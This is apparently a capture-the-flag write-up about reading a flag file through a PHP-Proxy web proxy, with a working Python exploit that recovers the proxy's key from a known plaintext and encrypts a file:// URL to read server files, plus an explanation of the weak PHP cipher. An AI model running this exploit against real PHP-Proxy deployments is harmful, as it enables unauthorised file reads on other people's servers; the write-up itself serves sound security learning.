We find a /flag.txt, but we cannot view it. Let's keep in mind that the flag is in web root for now.
Going to /app gives us a web proxy application.
We can enter any URL, and the corresponding page will be rendered on our browser. At the bottom of the page, we find that this application is "Powered by PHP-Proxy" and a link is given.
This link leads us to the GitHub repository, where a search for Issues containing the word "vulnerability" yields several results.
The exploit script is already provided in the GitHub issue above.
import requestsimport base64defencrypt(plaintext,key): key_length =len(key) key_as_int = [ord(i)for i in key] plaintext_int = [ord(i)for i in plaintext] ciphertext = []for i inrange(len(plaintext_int)): value = (plaintext_int[i]+ key_as_int[i % key_length]) %256 ciphertext.append(value)returnbytes(ciphertext)defcalculate_key(ciphertext,plaintext): key = []for i inrange(0, len(ciphertext)):if ciphertext[i]-ord(plaintext[i])<0: key.append(chr(ciphertext[i] -ord(plaintext[i]) +256))else: key.append(chr(ciphertext[i] -ord(plaintext[i])))return"".join(key[:32])defexploit(url,file_to_read): r = requests.post(url +'/index.php', data={'url': 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com'}, allow_redirects=False) b64_url_ciphertext = r.headers['location'].split('?q=')[1] b64_url_ciphertext = b64_url_ciphertext +"="* (len(b64_url_ciphertext)%4) url_ciphertext = base64.b64decode(b64_url_ciphertext) url_plaintext ='http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com' key =calculate_key(url_ciphertext, url_plaintext)return requests.get(url +'/index.php', params={'q': base64.b64encode(encrypt(file_to_read, key))}).textprint(exploit('http://20.198.209.142:55047/app', 'file:///var/www/html/flag.txt'))
Running the script gives us the flag, STC{l0cal_f1l3_1nclus10n_328d47c2ac5b2389ddc47e5500d30e04}
To understand why the exploit works, read on below!
The Vulnerability
When visiting a page through PHP-Proxy, the q= parameter is used. This is the URL we are visiting, encrypted using an app key in the package configuration.
The following encryption function is not secure enough. It simply takes every character of the key and adds it to the original plaintext. Since we know both the plaintext (the original URL) and the ciphertext (the q= parameter), we can easily reverse-engineer the key.
// rotate each string character based on corresponding ascii values from some keyfunctionstr_rot_pass($str, $key, $decrypt =false){// if key happens to be shorter than the data $key_len =strlen($key); $result =str_repeat(' ',strlen($str));for($i=0; $i<strlen($str); $i++){if($decrypt){ $ascii =ord($str[$i])-ord($key[$i % $key_len]); } else { $ascii =ord($str[$i])+ord($key[$i % $key_len]); } $result[$i] =chr($ascii); }return $result;}
Then, after getting the key, it is simply a matter of encrypting file:///var/www/html/flag.txt since the file:// protocol is not explicitly banned.